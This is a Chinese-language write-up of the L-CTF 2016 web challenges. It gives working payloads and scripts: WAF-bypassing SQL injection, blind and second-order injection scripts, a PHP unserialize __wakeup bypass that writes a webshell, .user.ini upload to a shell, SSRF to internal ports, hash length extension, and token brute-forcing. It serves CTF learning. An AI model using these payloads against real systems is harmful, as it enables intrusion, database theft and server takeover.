L-ctf2016 Writeup

在大家都为祖国母亲庆生的时候,天天都有人问我:你干嘛呢?出来玩呀….我表示(╯‵□′)╯︵┻━┻,稍微有点儿遗憾的是又刚好错过了小礼物的边缘线,做了2道高分web题还挺开心的o(^▽^)┛,不过xd的服务器也是蛮厉害…题题都要爆破还没怎么崩过…强无敌…


WEB

web1 Can you get the flag

稍微研究下,发现是注入

1
Password :' oorr (seleselectct/**/ sleep(100))#

显错注入

1
payload: '/**/anandd/**/updaupdatexmltexml(0,concat(0x27,(seleselectct/**/version())),0)%23

注入得到了账号和密码

1
2
admin
we1c0me%_#2&_@LCTF

登陆上去发现并没有结束,但是发现如果flag为负的,那么会提示password wrong,那么就跑吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Python跑
import requests
flag=0
for pwd in xrange(0,9999):
a=str(pwd)
b=a.zfill(4)
r=requests.post(
'http://web.l-ctf.com:6699/ret.php',
data={'selectNum': '-1', 'passwd': b , 'submit': 'Buy+It' },
)
response = unicode(r.content, 'utf-8')
if 'password wrong' not in response:
flag=1
print 'password is',b,response
break
elif(flag==0):
print 'trying',b
else:
break

得到密码
5487

1
flag is here: LCTF{Th1nks_@f0r_#your_%supp0rt}

我控几不主我及几啦

说实话,开始翻了翻感觉waf太绝了….什么都有过滤,简直没法注,看到那么多人都做出来了,目测是sqlmap,跑一跑还真的注到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Database: xdctfweb150
Table: articles
[4 columns]
+---------+-------------+
| Column | Type |
+---------+-------------+
| auther | varchar(20) |
| content | text |
| id | int(2) |
| title | varchar(50) |
+---------+-------------+
Database: xdctfweb150
Table: where
[1 column]
+--------+-------------+
| Column | Type |
+--------+-------------+
| secret | varchar(80) |
+--------+-------------+
Database: xdctfweb150
Table: where
[1 entry]
+--------------------------------+
| secret |
+--------------------------------+
| LCTF{H0w_D0_You_Bypass_My_w4f} |
+--------------------------------+

不知道做出来的那么多人有多少是知道怎么回事的。

事实上,那个被waf拦截的返回是在查询之后的,所以即便他waf拦截了返回,我们仍然可以用时间盲注来跑数据,sqlmap跑一会儿就出来了

payload:

1
http://web.l-ctf.com:6699/LCTF150/?id=3%20AND%202362%3DIF%28%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28table_name%20AS%20CHAR%29%2C0x20%29%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema%3D0x7864637466776562313530%20LIMIT%200%2C1%29%2C3%2C1%29%29%3E54%29%2CSLEEP%283%29%2C2362%29

睡过了

开始一直没搞明白为啥是这样,怎么改都没用,后来队友有了思路,题目是CVE-2016-7124改的,前两天还挺有名的一个洞,因为360的文章是曲解,所以我影响还挺深的。

具体分析贴个队友的博客吧
http://lazysheep.cc/2016/09/13/0x22/

实话说不知道怎么解释,贴上getshell后拿到的源码吧

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<h1>这是一个后门(不过好像不能直接用啊......</h1>
<hr />
<form action="" method='POST'>
Filename:<input type='text' name='filename' /><br/>
Filedata:<input type='text' name='filedata' /><br/>
<input type="submit" name='submit' />
</form>
<?php
class key{}
if($_POST['filename'] && $_POST['filedata']){
$key=new key();
$key->filename=$_POST['filename'];
$key->filedata=$_POST['filedata'];
$s=serialize($key);
echo "<meta http-equiv='refresh' content='0.1;url=upload.php?key=".$s."'>";
}
?>

这里就是一个简单的序列化过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class key{
var $filename;
var $filedata;
function __wakeup(){
echo "Waking up.........<br/>";
foreach(get_object_vars($this) as $key=>$value){
$this->$key = null;
echo $key." => ".$this->$key;
echo "<br />";
}
echo "Finished<br/>";
echo "<br/>";
}
function __destruct(){
//Do something
$this->my_file_put_contents($this->filename,$this->filedata);
}
function my_file_put_contents($file_path,$data){
if($file_path && $data){
$rs=file_put_contents('./upload/'.md5($this->filename).'.php',$this->filedata);
echo $rs." written";
}
}
}
$key=$_GET['key'];
preg_match('/O:\d+:/',$key,$match);
if($match){
exit("据说这种key加也行<br/>");
}
$Obj=unserialize($key);
?>

payload:

1
http://web.l-ctf.com:10197/ctf/upload.php?key=O:%2b3:"key":3:{S:8:"filename";s:2:"ss";s:8:"filedata";s:19:"aaasdfasdfasdfasaaa";}

wakeup方法被跳过了,那么写webshell进去

但是进去我们又遇到了问题,web目录下我们没找到flag,怎么办呢

绕opendir的限制!!

1
321=$f=[];$d=new DirectoryIterator("glob:///var/www/flag/*");var_dump($d);

苏打学姐的网站

苏打学姐很文艺,
搞了一个图片小站,但是智商经常不上线。不知是为了方便咋的、经常留一些奇怪的东西下来,来吧,砸了他这个图片站的场子!!
http://web.l-ctf.com:14144/

因为题不是我做的,所以我就按照队友文档中的思路来写了

首先我们发现

1
http://web.l-ctf.com:14144/img.php?id=file/5253d1eb29230.jpg 应该是路径解析问题,存在http://web.l-ctf.com:14144/file/tips.txt

但是怎么都读不到,后来发现虽然不知道后台怎么做的处理,但是可以双管道得到文件内容,我猜有可能是后台坐了前缀检查,payload

1
http://shimakaze.labs/lctf/parse.php?id=php://resource=file/5253d1eb29230.jpg/resource=file/tips.txt

读了tips.txt,得到

admin.php.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Admin.php.txt
<?php
error_reporting(0);
$Key = "xxxxxxxxxxxxxxxxx";
$iv = "xxxxxxxxxxxxxxxx";
$v = "2016niandiqijiequanguowangluoanquandasai0123456789abcdef-->xdctfxdnum=2015auid=4;xdctfxdctf";
$en_Result = mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$Key, $v, MCRYPT_MODE_CBC, $iv);
$enc = base64_encode($en_Result);
$en_Data = base64_decode($_COOKIE[user]);
$de_Result = mcrypt_decrypt(MCRYPT_RIJNDAEL_128,$Key, $en_Data, MCRYPT_MODE_CBC, $iv);
$b = array();
$b = isset($_COOKIE[user])?$de_Result:$enc;
$num1 = substr($b,strpos($b,"uid")+4,1);
$num2 = substr($b,strpos($b,"num")+4,4);
echo '</br><h3>ID: '.$num1."</h3><br>";
if ($num1 == 1 && $num2 == 2016){
die ("shen mi li wu !");
}
else{
echo "HELLO CLIENT";
}
setcookie("user",$enc);
?>%

img.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
if(isset($_GET["id"]) && (strpos($_GET["id"],'jpg') !== false))
{
preg_match("/^php:\/\/.*resource=([^|]*)/i", trim($_GET["id"],'\n'), $match);
if (isset($match[1]))
$_GET["id"] = $match[1];
if (file_exists("./" . $_GET["id"]) == false)
die("File Not Found");
header('Content-Type: image/jpg');
header('Content-Length: '.filesize($_GET["id"]));
header('Content-Disposition: filename='.$_GET["id"]);
if (strlen($_GET["id"])>32){
die ("Too Long!!!!!");
}
else{
$data = file_get_contents($_GET["id"]);
echo $data;
}
}
else
{
echo "File Not Found";
}
?>

懂的人看一眼就能明白,cbc字节反转攻击,原理就不多说了,之前三个白帽遇到过,hctf2015也曾经出过

核心在这里

1
2
3
$num1 = substr($b,strpos($b,"uid")+4,1);
$num2 = substr($b,strpos($b,"num")+4,4);

只要构造后16位中的13bytes为uid=1num=2016
就可以成功通过判断

跑一跑就好了,然后到了文件上传

上传一个.user.ini

上传一个同名文件

get shell

1
2
3
http://web.l-ctf.com:14144/upload_12b1d89eb3a43eb6220b5952a5a13785/upload/index.php?a=assert
Post: fuckddog=phpinfo();

Headpic

这题基本做了我一个下午一个晚上…最气的是这题的第一第二步完全分离,所以我们做了第二步后,在flag前面等了好久,一直到tips放了才反应过来是做错了顺序…只可惜本来是能拿一血,最后堪堪拿下3血┑( ̄Д  ̄)┍…

二次注入

看到这个提示的时候我一直是蒙蔽的,因为在我的观点里,题目应该是ssrf…

仔细分析题目逻辑:

注册(insert)->登陆(select)->登陆后给一个头像地址(存在?select?还是注册就默认插入了)->修改头像(update)

知道做出来我都不能肯定是不是存在第三部分,但是测试发现第四步确实存在,而且update时的where条件是username = $user,这里存在二次注入。

那么问题来了…这里的判断条件必须请求修改后的头像内容,来判断盲注请求是否成功,也就是说,每次注入我们都必须请求4次,还是盲注,当然这里还有个问题就是验证码的问题

  • 绕过验证码

这里还是蓝猫师傅抬了我一手,当时我正在研究绕过验证码的,蓝猫师傅告诉我,如果你不带session去登陆注册的话,验证码的判定就没用了。

这里也很好理解,一般写代码的人只考滤正常人的请求方式,

代码一般长这样

1
2
3
4
if(!isset($_SESSION)){
设置session,
然后跳回
}

这样不带着session去登陆注册就可以了。

下面就是编写脚本时间了,由于和平时的盲注不一样,我自己写的工具用不上,所以没办法,我只能自己又写了一个脚本,这样没有二分法,所以每次个字母都要100次请求,所以全程注入都在只能改脚本,跳过各种单词,还算友好的是并没有修改一些单词,还可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
import requests
from bs4 import BeautifulSoup
import base64
import Queue
import threading
def code(s):
url = "http://web.l-ctf.com:55533/verify.php"
cookies = {"PHPSESSID": "ljf888c57d6pd9qrcltgrsadd2"}
code = s.get(url, cookies=cookies)
with open("code.png", "wb") as ff:
ff.write(code.content)
img = Image.open("code.png")
code_string = pytesseract.image_to_string(img)
print code_string
def register(payload):
url1 = "http://web.l-ctf.com:55533/check.php"
data = {"user": payload, "pass": "dsa", "typer": "0", "register": "%E6%B3%A8%E5%86%8C"}
r = requests.post(url1,data = data)
def login(payload):
s = requests.Session()
url1 = "http://web.l-ctf.com:55533/check.php"
url2 = "http://web.l-ctf.com:55533/save.php"
url3 = "http://web.l-ctf.com:55533/ucenter.php"
data = {"user": payload, "pass": "dsa", "typer": "0", "login": "%E7%99%BB%E9%99%86"}
r = s.post(url1, data = data)
Session = r.headers['Set-Cookie']
data2 = {"headpic":"http://web.l-ctf.com:55533@115.28.78.16/ddog.php"}
r = s.post(url2, data = data2, cookies={"PHPSESSID": Session[10:-8]})
r = s.get(url3, cookies={"PHPSESSID": Session[10:-8]})
bs0bj = BeautifulSoup(r.text, "lxml")
content = base64.b64decode(bs0bj.img['src'][23:])
if len(content) > 0:
return True
else:
return False
def test(payload):
payload = payload.replace(" ", "/**/")
print payload
register(payload)
if login(payload):
return False
else:
return True
def ppayload():
# for i in xrange(30):
# payload = "nishigeshenmegui' or ((SELECT COUNT(*) from information_schema.SCHEMATA limit 0,1)>" + str(i) + ")#"
# if test(payload):
# database_number = i
# break
# print "database_number:" + str(database_number)
database_number = 2
# for i in range(1,2):
# for j in xrange(50):
# payload = "nishigeshenmegui' or ((SELECT length(SCHEMA_NAME) from information_schema.SCHEMATA limit " + str(i) + ",1)>" + str(j) + ")#"
# if test(payload):
# database_length = j
# break
# print "[*]dababase_length: "+ str(database_length)
# database = ""
# for j in xrange(database_length):
# for r in xrange(7):
# pass
# for k in range(30,130):
# payload = "nishigeshenmegui' or ((select ascii(mid((SELECT SCHEMA_NAME from information_schema.SCHEMATA limit " + str(i) + ",1),"+ str(j) +",1)))>" + str(k) + ")#"
# if test(payload):
# database += chr(k)
# break
# print "[*]database:"+database
# for i in xrange(30):
# payload = "nishigeshenmegui' or ((SELECT COUNT(*) from information_schema.TABLES where TABLE_SCHEMA = 'web_200' limit 0,1)>" + str(i) + ")#"
# if test(payload):
# table_number = i
# break
# print "table_number:" + str(table_number)
# table_number = 2
# for i in range(0,table_number):
# # for j in xrange(50):
# payload = "nishigeshenmegui' or ((SELECT length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'web_200' limit " + str(i) + ",1)>" + str(j) + ")#"
# if test(payload):
# table_length = j
# break
# print "[*]table_length: "+ str(table_length)
# table_length = 14
# table = ""
# for j in range(11,table_length):
# for k in range(50,130):
# payload = "nishigeshenmegui' or ((select ascii(mid((SELECT TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'web_200' limit " + str(i) + ",1),"+ str(j + 1) +",1)))>" + str(k) + ")#"
# if test(payload):
# table += chr(k)
# print table
# break
# # print "[*]table:" + table
# for i in xrange(30):
# payload = "nishigeshenmegui' or ((SELECT COUNT(*) from information_schema.COLUMNS where TABLE_SCHEMA = 'web_200' && TABLE_NAME = 'flag_admin_233' limit 0,1)>" + str(i) + ")#"
# if test(payload):
# conlum_number = i
# break
# conlum_number = 3
# print "conlum_number:" + str(conlum_number)
# for i in range(2,conlum_number):
# for j in xrange(50):
# if i == 2:
# conlum_length = 4
# break
# payload = "nishigeshenmegui' or ((SELECT length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA = 'web_200' limit " + str(i) + ",1)>" + str(j) + ")#"
# if test(payload):
# conlum_length = j
# break
# print "[*]conlum_length: "+ str(conlum_length)
# column = ""
# for j in range(conlum_length):
# for k in range(90,130):
# payload = "nishigeshenmegui' or ((select ascii(mid((SELECT COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA = 'web_200' limit " + str(i) + ",1),"+ str(j + 1) +",1)))>" + str(k) + ")#"
# if test(payload):
# column += chr(k)
# print column
# break
# print "[*]column:" + column
# for i in xrange(30):
# payload = "nishigeshenmegui' or ((SELECT COUNT(*) from flag_admin_233 limit 0,1)>" + str(i) + ")#"
# if test(payload):
# content_number = i
# break
# print "content_number:" + str(content_number)
content_number = 1
number = [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122]
for i in range(0,content_number):
# for j in xrange(50):
# payload = "nishigeshenmegui' or ((SELECT length(pass) from flag_admin_233 limit " + str(i) + ",1)>" + str(j) + ")#"
# if test(payload):
# content_length = j
# break
content_length =32
print "[*]content_length: "+ str(content_length)
content = ""
for j in range(content_length):
for k in number:
payload = "nishigeshenmegui' or ((select ascii(mid((SELECT pass from flag_admin_233 limit " + str(i) + ",1),"+ str(j + 1) +",1)))>" + str(k) + ")#"
if test(payload):
content += chr(k)
print content
break
print "[*]content:" + content
def main():
s = requests.Session()
# code(s)
ppayload()
if __name__ == '__main__':
main()

注入得到

1
2
3
4
5
6
7
8
9
10
11
12
13
数据库名web_200
表数量2
table
flag_admin_233
User
Flag_admin_233
Id, admin, pass
admin******
Admin,1admin2016

ssrf

得到用户名和密码后,发现admin.php并不能登陆上去,再robots.txt我们得到了提示

1
NEQGM33SM5SXIIDUN4QGIZLMMV2GKIDNPEQHAZLSONXW4YLMEBTGS3DFFR2GQYLUOMQHI33PEBRGCZBMNEQGI33OE52CA53BNZ2CA6LPOUQHI3ZAM5SXIIDTMVRXEZLUL5XGK527NZXXI2LDMUXHA2DQ

解base32得到

1
"i forget to delete my personal file,thats too bad,i don't want you to get secret_new_notice.php"

直接访问发现提示不是本地访问,那么就是ssrf。

测试修改发现有前缀检查

头像必须是http://web.l-ctf.com:55533开头的,但是我们可以用@来绕过

当时第一反应是扫内网端口,如果内网有redis什么的,可以getshell

附上扫内网端口脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
from bs4 import BeautifulSoup
import base64
urll = "http://web.l-ctf.com:55533@127.0.0.1:"
url1 = "http://web.l-ctf.com:55533/save.php"
url2 = "http://web.l-ctf.com:55533/ucenter.php"
cookie = {"PHPSESSID": "ljf888c57d6pd9qrcltgrsadd2"}
header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0", "Connection": "keep-alive"}
s = requests.Session()
# for i in range(22,65535):
data = {"headpic": urll + str("80")}
r = s.post(url1, data = data, cookies=cookie)
r = s.get(url2, headers=header, cookies=cookie)
bs0bj = BeautifulSoup(r.text, "lxml")
try:
content = base64.b64decode(bs0bj.img['src'][23:])
print content
except:
s = 1

得到提示

1
i found that my account is too weak,so i make a trick,add something at the end of username<pre>$user=='admin******'?</pre>

实话说这里是先做到的,所以当时第一反应是要跑这个admin,于是跑了好久跑完都没跑到,直接传数组get flag

o(^▽^)┛

你一定不能来这

上来啥都找不到,没办法扫目录,事实证明,这题确实是扫目录,扫啊,扫啊得到

1
http://web.l-ctf.com:33333/crossdomain.xml

得到

1
http://xdctfweb.xd-a8.com/

得到download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
require("common.php");
function varify_hash($filename,$hash,$secret){
if(strpos($filename,"www.rar")>-1){
if($hash === md5($secret.$filename)){
download("www.rar");
}
else
exit("mac不对,你根本不是xdsec的人。") ;
}
elseif(strpos($filename,"download.php")>-1){
if($hash === md5($secret.$filename)){
download("download.php");
}
else
exit("mac不对,你根本不是xdsec的人。");
}
else
exit("没有你要下载的文件。");
}
$filename = urldecode($_GET['filename']);
$hash = $_GET['mac'];
if(!empty($filename) && !empty($hash)){
varify_hash($filename,$hash,$secret);
}
else
exit("参数为空");
?>

司机告诉我这是hash长度拓展攻击,找到一个工具
http://www.cnblogs.com/pcat/p/5478509.html

由于不知道密钥长度,直接写脚本跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import hashpumpy
import urllib
import requests
url = "http://xdctfweb.xd-a8.com/download.php?filename=%s&mac=%s"
for x in xrange(52):
h, f = hashpumpy.hashpump("f30a38d3cdcb25cf067468c2f108e1f5", "download.php", "www.rar", x)
r = requests.get(url%(urllib.quote(f), h))
print x
print r.content
得到
Payload: http://xdctfweb.xd-a8.com/download.php?filename=download.php%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%F0%00%00%00%00%00%00%00www.rar&mac=1f35a8fa0b3eedd9d25b5fe910ade0e7

下载www.rar发现有密码,这步让我感觉非常傻逼…强行加misc,就和后面的web强加pwn一样,没啥意义,安misc的逻辑,strings一下发现了不寻常的东西

1
2
3
Strings www.rar
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$__+$._$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$$_+$._$$+$._$+(![]+"")[$._$_]+$.$$$_+"."+(![]+"")[$._$_]+$._$+"\\"+$.__$+$.$__+$.$$$+"(\\\"\\"+$.__$+$._$$+$.__$+$._$+"\\"+$.__$+$._$_+$.$_$+"\\"+$.$__+$.___+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$.__$+$.$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.$__+$.$$$+"\\"+$.__$+$.___+$.$_$+"\\"+$.__$+$._$_+$.$__+"\\"+$.$__+$.___+"\\"+$.__$+$._$_+$._$$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.__$+$.$$_+$.__+$.$$$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.___+$.$_$+"\\"+$.__$+$._$_+$._$$+$.__+$.$$$_+$.$$_$+"\\"+$.$__+$.___+"\\"+$.__$+$._$_+$.$__+"\\"+$.__$+$.$_$+$.___+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$__+$.$$$+"\\"+$.$__+$.___+"\\"+$.__$+$.__$+$.__$+$.$$$$+"\\"+$.$__+$.___+"\\"+$.__$+$._$$+$.__$+$._$+$._+"\\"+$.$__+$.___+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$.__$+$.$$_+"\\"+$.$__+$.___+$.$$_$+$.$$$_+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.__$+$.$$$+$.$$_$+$.$$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.__$+$.$_$+$.$$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.$__+$.___+$.__+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.$_$+$.$_$+"\\"+$.__$+$.___+$.$_$+".\\\"\\"+$.$__+$.___+")"+"\"")())();

js的jjencode
得到

1
YoU CAN gET Some INterESted Thing If You CAN deCOde Me In tImE.

培根密码,应该是以前的xdctf出的,总之非常眼熟

1
XXDDCCTTFF

得到源码后发现非常简单,但是设置非常傻逼…

先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>管理员密码重置</title>
</head>
<center><h1>管理员密码重置</h1></center></br></br></br>
<form action="" method="POST">
<center>
<label for="email">管理员邮箱:</label>
<input type="textbox" name="email" /></br></br></br>
<input type="submit" name="submit" value="提交" />
</center>
</form>
<?php
require('sql.php');
require('function.php');
if(!empty($_POST['email'])){
$email = $_POST['email'];
if($email === "omego952734@xdsec.club"){
$Time_check = verifyTime();
//检查有没有超过30分钟
if($Time_check){
$date = time();
$rand=(string)rand(1,10000);
$token = md5($date.$rand);
$updateDate = "UPDATE `XDctf_web_350`.`user` SET `date` =".$date." WHERE `user`.`id` = 0;";
$query = mysql_query($updateDate);
$updateToken = "UPDATE `XDctf_web_350`.`user` SET `token` =".'\''.$token.'\''." WHERE `user`.`id` = 0;";
$query = mysql_query($updateToken);
echo "<script>alert('重置密码链接已经发送。有效期为30分钟。');</script>";
}
else
echo "<script>alert('链接还没过有效期,请登录邮箱查看。');</script>";
}
else
echo "<script>alert('管理员的邮箱根本不是这个。');</script>";
}
?>

checktoken.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
require('sql.php');
require('secret.php');
if(!empty($_GET['email']) && !empty($_GET['id']) && !empty($_GET['token']))
{
$email = $result->email;
$id = $result->id;
$token = $result->token;
if($id === '0'){
if($_GET['email']===$email){
if($_GET['token']===$token)
echo $flag;
else
echo "token不对。";
}
else
echo "邮箱不对。";
}
else
echo "你想重置一个非创始人的密码,可这又有什么用呢?";
}
else
echo "参数不完整。";
?>

这里有个很傻逼的设置,一个round30分钟,只有一个能获得重置邮件的时间戳,即便是response的时间,也会有上下的+-几的时间差,导致一个round往往要跑40000、50000,而当时我5个round拿到3个,最后改脚本到多线程,20分钟跑了40000都没得到,后来无奈私聊出题人,将一个round改为10分钟,然后1000次请求,最后跑了6000才跑到,也就是理论上10000我是跑不到的….贴上脚步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import requests
import hashlib
import Queue
import threading
import time
url = "http://web.l-ctf.com:33333/checktoken.php?id=0x00&email=omego952734@xdsec.club&token="
data = 1475406987
words = Queue.Queue()
for j in range(data-1,data+1):
for i in range(1,1000):
m = hashlib.md5()
m.update(str(j)+str(i))
token = m.hexdigest()
urll = url+token
words.put(urll)
print "word suceess"
def brufer(words):
z = 1
while not words.empty():
z+=1
if z == 1000:
print "1000 pass"
z = 0
url = words.get()
s = requests.Session()
try:
r = s.post(url, timeout=4)
except:
print "[!]error:" + url
words.put(url)
continue
if "token" not in r.text:
print "[*]Done" + url
print r.text
exit(0)
#print "[!]pass: " + url
time.sleep(1)
print "something error..."
exit(0)
for i in range(0,59):
t = threading.Thread(target = brufer, args=(words,))
t.start()

无话可说

misc

有点儿写不动了,有空再写吧…

文章目录
  1. 1. WEB
    1. 1.1. web1 Can you get the flag
    2. 1.2. 我控几不主我及几啦
    3. 1.3. 睡过了
    4. 1.4. 苏打学姐的网站
    5. 1.5. Headpic
      1. 1.5.1. 二次注入
      2. 1.5.2. ssrf
    6. 1.6. 你一定不能来这
  2. 2. misc